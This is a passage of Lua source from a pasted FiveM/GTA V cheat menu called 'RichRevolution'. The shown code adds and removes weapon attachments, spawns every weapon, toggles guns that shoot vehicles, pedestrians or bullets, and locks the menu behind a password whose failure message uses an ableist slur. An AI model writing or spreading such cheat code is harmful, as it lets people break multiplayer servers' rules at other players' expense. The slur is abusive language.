  8863. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xE608B35E)
  8864. elseif RichRevolution.Button("~g~Add Scope") then
  8865. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x9D2FBF29)
  8866. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xA0D89C42)
  8867. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xAA2C45B4)
  8868. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xD2443DDC)
  8869. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x3CC6BA57)
  8870. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x3C00AFED)
  8871. elseif RichRevolution.Button("~r~Remove Scope") then
  8872. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x9D2FBF29)
  8873. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xA0D89C42)
  8874. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xAA2C45B4)
  8875. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xD2443DDC)
  8876. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x3CC6BA57)
  8877. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x3C00AFED)
  8878. end
  8879.  
  8880. RichRevolution.Display()
  8881. elseif RichRevolution.IsMenuOpened("BulletGunMenu") then
  8882. if RichRevolution.CheckBox(
  8883. "Vehicle Gun",
  8884. vehicleGun,
  8885. function(enabled)
  8886. vehicleGun = enabled
  8887. end)
  8888. then
  8889. elseif RichRevolution.ComboBox("Vehicle To Shoot", vehicles, currentVehicle, selectedVehicle, function(currentIndex, selectedIndex)
  8890. currentVehicle = currentIndex
  8891. selectedVehicle = selectedIndex
  8892.  
  8893. end)
  8894. then
  8895. elseif RichRevolution.ComboBox("Vehicle Speed", vehicleSpeed, currentVehicleSpeed, selectedVehicleSpeed, function(currentIndex, selectedIndex)
  8896. currentVehicleSpeed = currentIndex
  8897. selectedVehicleSpeed = selectedIndex
  8898. end)
  8899. then
  8900. elseif RichRevolution.CheckBox(
  8901. "Ped Gun",
  8902. pedGun,
  8903. function(enabled)
  8904. pedGun = enabled
  8905. end)
  8906. then
  8907. elseif RichRevolution.ComboBox("Ped To Shoot", peds, currentPed, selectedPed, function(currentIndex, selectedIndex)
  8908. currentPed = currentIndex
  8909. selectedPed = selectedIndex
  8910. end)
  8911. then
  8912. elseif RichRevolution.CheckBox(
  8913. "Bullet Gun",
  8914. bulletGun,
  8915. function(enabled)
  8916. bulletGun = enabled
  8917. end)
  8918. then
  8919. elseif RichRevolution.ComboBox("Bullet", bullets, currentBullet, selectedBullet, function(currentIndex, selectedIndex)
  8920. currentBullet = currentIndex
  8921. selectedBullet = selectedIndex
  8922. end)
  8923. then
  8924. end
  8925.  
  8926.  
  8927.  
  8928.  
  8929. RichRevolution.Display()
  8930. elseif RichRevolution.IsMenuOpened("SingleWeaponMenu") then
  8931. for i = 1, #allWeapons do
  8932. if RichRevolution.Button(allWeapons[i]) then
  8933. GiveWeaponToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 250, false, false)
  8934. end
  8935. end
  8936.  
  8937.  
  8938.  
  8939. RichRevolution.Display()
  8940. elseif IsDisabledControlPressed(0, 243) then
  8941. if planeisbest then
  8942. trynaskidhuh("MainMenu")
  8943. else
  8944. local temp = KeyboardInput("Enter Password", "", 100)
  8945. if temp == dEI then
  8946. drawNotification("~r~~h~Well done, you just logged in!")
  8947. planeisbest = true
  8948. trynaskidhuh("MainMenu")
  8949. else
  8950. drawNotification("~r~~h~Login has failed, are you fucking retarded?")
  8951. end
  8952. end
  8953. end
  8954.  
  8955. Citizen.Wait(0)
  8956. end
  8957. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement